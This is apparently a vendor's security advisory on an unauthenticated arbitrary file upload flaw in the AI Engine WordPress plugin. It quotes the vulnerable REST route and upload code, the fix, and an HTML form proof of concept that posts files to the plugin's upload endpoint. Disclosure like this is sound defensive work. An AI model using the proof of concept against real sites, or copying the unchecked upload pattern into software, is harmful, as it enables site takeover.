14 Feb 2024

Arbitrary File Upload Vulnerability in AI Engine

We recently saw a hacker probing for usage of the WordPress plugin AI Engine on our website and third-party websites with the following request:

/wp-content/plugins/ai-engine/readme.txt

Recently, other WordPress plugin vulnerability data providers have vaguely claimed there was an arbitrary file upload vulnerability fixed in the plugin. The changelog for the relevant version for that claim wasn’t exactly upfront about what was being addressed, as it reads, “Update: Enhanced the way the files are uploaded, and follow the rules set by the Media Library.” So no mention of security there.

We Already Provided Protection

We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before the vulnerability was discovered, as part of its protection against zero-day vulnerabilities.

Free Warning

As this vulnerability looks to be targeted by hackers, we are adding accurate data on it to the free data that comes with our Plugin Vulnerabilities plugin.

Arbitrary File Upload

Looking at the changes made in that version, we easily found where there had been an arbitrary file upload vulnerability. In the file /classes/modules/files.php, the plugin registered the function rest_upload() to be accessible by anyone through WordPress’ REST API:

131
132
133
134
register_rest_route( $this->namespace, '/files/upload', array(
	'methods' => 'POST',
	'callback' => array( $this, 'rest_upload' ),
	'permission_callback' => '__return_true'

That function didn’t do any security checks before saving a file sent with a request to the website:

143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
  public function rest_upload() {
    require_once( ABSPATH . 'wp-admin/includes/image.php' );
    require_once( ABSPATH . 'wp-admin/includes/file.php' );
    require_once( ABSPATH . 'wp-admin/includes/media.php' );
    $file = $_FILES['file'];
    $error = null;
    if ( empty( $file ) ) {
			return new WP_REST_Response( [ 'success' => false, 'message' => 'No file provided.' ], 400 );
    }
    $local_upload = $this->core->get_option( 'image_local_upload' );
    $image_expires_seconds = $this->core->get_option( 'image_expires' );
    $expires = ( empty( $image_expires_seconds ) || $image_expires_seconds === 'never' ) ? null : 
      date( 'Y-m-d H:i:s', time() + $image_expires_seconds );
    $fileId = null;
    $url = null;
    if ( $local_upload === 'uploads' ) {
      if ( !$this->check_db() ) {
        return new WP_REST_Response( [ 'success' => false, 'message' => 'Could not create database table.' ], 500 );
      }
      $upload_dir = wp_upload_dir();
      $filename = wp_unique_filename( $upload_dir['path'], $file['name'] );
      $path = $upload_dir['path'] . '/' . $filename;
      if ( !move_uploaded_file( $file['tmp_name'], $path ) ) {

In line with the changelog, the new version uses the WordPress function wp_check_filetype_and_ext() to limit the types of files that can be uploaded to only ones normally allowed by WordPress:

161
162
163
164
165
    // File validation by WordPress Media Library
    $fileTypeCheck = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'] );
    if ( !$fileTypeCheck['type'] ) {
      return new WP_REST_Response( [ 'success' => false, 'message' => 'Invalid file type.' ], 400 );
    }

Proof of Concept

The following proof of concept will upload the file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-json/mwai-ui/v1/files/upload" enctype="multipart/form-data" method="POST">
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>

Plugin Security Scorecard Grade for AI Engine

Checked on September 9, 2024
B

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.